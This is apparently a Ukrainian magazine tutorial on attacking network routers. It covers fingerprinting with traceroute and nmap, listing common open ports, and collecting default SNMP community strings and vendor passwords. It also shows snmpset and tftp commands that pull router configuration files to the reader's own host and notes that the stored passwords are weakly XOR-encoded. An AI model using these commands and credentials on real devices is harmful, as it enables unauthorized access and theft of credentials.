Роутер – ворог твій


Xakep #240. Ghidra

Xakep #239. Розкрити та вивчити

Xakep #238. Забутий Android

Xakep #237. Даркнет 2018

Порившись в архівах статей на сайтах, пов'язаних з мережевою безпекою, я не знайшов практично ніякої інформації присвяченої роутерам (маршрутизаторам), але це є дуже важливою і невід'ємною частиною будь-якої мережі. З цього я вирішив написати цю статтю, в якій я розгляну приклади визначення віддаленого роутера, визначення типу ОС на якій він встановлений, користувачі, що найчастіше зустрічаються, за замовчуванням та інші не маловажні вразливості.
bash# traceroute www.example.net 1 some.dns.001.com (*.*.*.1) 2.260 ms 1.911 ms 1.363 ms 2 some.dns.002.com (*.*. *.2) 3.952 ms 3.966 ms 4.297 ms 3 some.dns.003.com (*.*.*.3) 4.370 ms 9.422 ms 5.381 ms 4 some.dns.004.com (*. *.*.4) 12.176 ms 13.102 ms 13.050 ms 5 www.example.net (*.*.*.5) 43.755 ms 42.683 ms 42.612 ms
У командному рядку набираємо ( для тих хто не знає : Start>Programs>Command Promt або Пуск>Програми>Режим MSDOS):
Отримуємо щось на кшталт цього:
1 160ms 190ms 150ms some.dns.001.com *.*.*.1 2 310ms 421ms 275ms some.dns.002.com *.*.*.2 3 234ms 434ms 43ms some.dns .003.com [*.*.*.3] 4 910ms 324ms 432ms some.dns.004.com [*.*.*.4] 5 764ms 321ms 354ms www.example.net [* .*.*.5]
Хоча на мій погляд для Windows краще скористатися якою-небудь альтернативною програмою у якої є ця функція, наприклад ShadowScan, WS Ping Pro і т.д.
bash# nmap -p1-170, 510-520, 2001, 4001, 6001, 7161, 9001*.*.*.4
Для Windows візьми порт сканер з тих щоя привів вище або будь-який інший і відсканую порти, якщо хочеш можеш хоч все. Далі я буду писати тільки для Unix як це робиться для Windows я думаю вже зрозуміло.
Ось таблиця портів для деяких роутерів:
21(ftp) 0(tcpmux) 23(telnet) 49(domain) 79(finger) 67(bootpc) 80(http) 69(tftp) 512(exec) 123( ntp) 513(login) 161(snmp) 514(shell) 1993(Cisco snmp) 1999(Cisko ident) 2001 4001 6001 9001(xRemote service)
21(ftp) 7(echo) 23(telnet) 9(discard) 67(bootpc) 68(bootpc) 69(tftp) 161(snmp) 520(route)
23(telnet) 7(echo) 9(discard) 161(snmp) 162(snmp-trap) 514(shell) 520(route)
До речі, на багатьох Cisco при підключенні на порт 23 і 2001 ви побачите запрошення типу:
User Access Verification Password:
Припустимо, ми визначили тип роутера, але це ще лише півдороги. Давайте розглянемо деякі методи пошуку інформації про операційну систему.
1) на 13-му порту, можна спробувати запустити nmap з наступними параметрами:
bash# nmap -O -p13 -n *.*.*.4
Якщо порт відкритий з'явиться щось типу:
Remote operating system guess: Cisco Router
2) 2001, 4001, 6001 - є віртуально термінальними портами, не завжди це може бути cisco. Перевірити можна вписавши у браузер:
якщо відповіддю буде щось подібне:
User Access Verification Password: Password: Password: % Bad Password
ми на правильному шляху.
3) 9001 порт відповідає за xRemote service, що запускає xSessions. Приєднавшись на 9001 порт, ми отримаємо запрошення:
- Out Bound Xremote srvice - Роутер Ascend
Будь-який бажаючий може прочитати вміст MIB, використовуючи community string read.
show snmp comm types
дана команда виведе всі імена для запису та читання :).
Ось листинг read/write community names для SNMP, які використовуються за замовчуванням:
-public -write -cisco -all private -private -read -tivoli -openview -monitor -manager -security -default -password -network -community -secret -world -admin
Нижче наведено список дефолтових паролів до деяких пристроїв:
Пристрій Логін Пароль Права
Cisco enable cisco адміністратор 23(telnet) c [тільки для cisco 2600s] 23(telnet) cisco користувач 23(telnet) cisco routers
Bay router User [немає пароля] користувач Manager [немає пароля] адміністратор Bay 350T switch NetICs NA адміністратор Bay SuperStack II security security адміністратор Shiva root [немає пароля] адміністратор Guest [ немає пароля] користувач WebRamp wradmin trancell адміністратор MotorolaCable cablecom router адміністратор 3Com admin synnet адміністратор manager manager адміністратор write synnet адміністратор debug synnet адміністратор tech користувач monitor monitor користувач read synnet користувач
(Повний список дефолтових логінів ви без праці можете знайти в мережі, наприклад на Astalavist'е).
Пропоную плавно перейти на Сisco роутери, які на сьогоднішній день є найпоширенішими та зарекомендували себе у справі.
На cisco роутерах є підтримка старої MIB, що дозволяє будь-якому з read/write community name завантажити файли конфігурації (які зберігають зашифровані паролі) за допомогою TFTP. Розшифрувати паролі не складе особливих труднощів, т.к. шифрується все XOR'ом. Для перевіркироутера на вразливість можна звернутися сюди www.solarwinds.net (тут є вся необхідна інформація).
Ось приклад стягування конфіг файлу на машині UNIX:
snmpset *.*.*.4 private 1.3.6.1.4.1.9.2.1.55.[ваш tftp хост] s [file.config]
Як я вже згадав, слабкий алгоритм XOR дозволить легко розшифрувати пароль. Щоб уникнути цього, раджу перевірити яким алгоритмом зашифрований пароль, для цього можна подивитися в конфігурації:
Варіантом з XOR буде щось схоже на це:
enable password 7 08204E
До речі, не тільки на Cisco можливий варіант завантаження файлу конфігурації, ви можете просканувати ваш роутер на 69 порт - на якому можливо важить TFTP. Якщо результат виявиться позитивним, можна спробувати викачати файл конфігурації так:
bash# tftp connect *.*.*.4 get [dns-name].cfg quit
Прикладом конфігураційного файлу був [dns-name], т.к. дуже часто ім'я конфігураційного файлу збігається з доменним ім'ям маршрутизатора.
Може і про це напишу, а на сьогодні вистачить Поки що.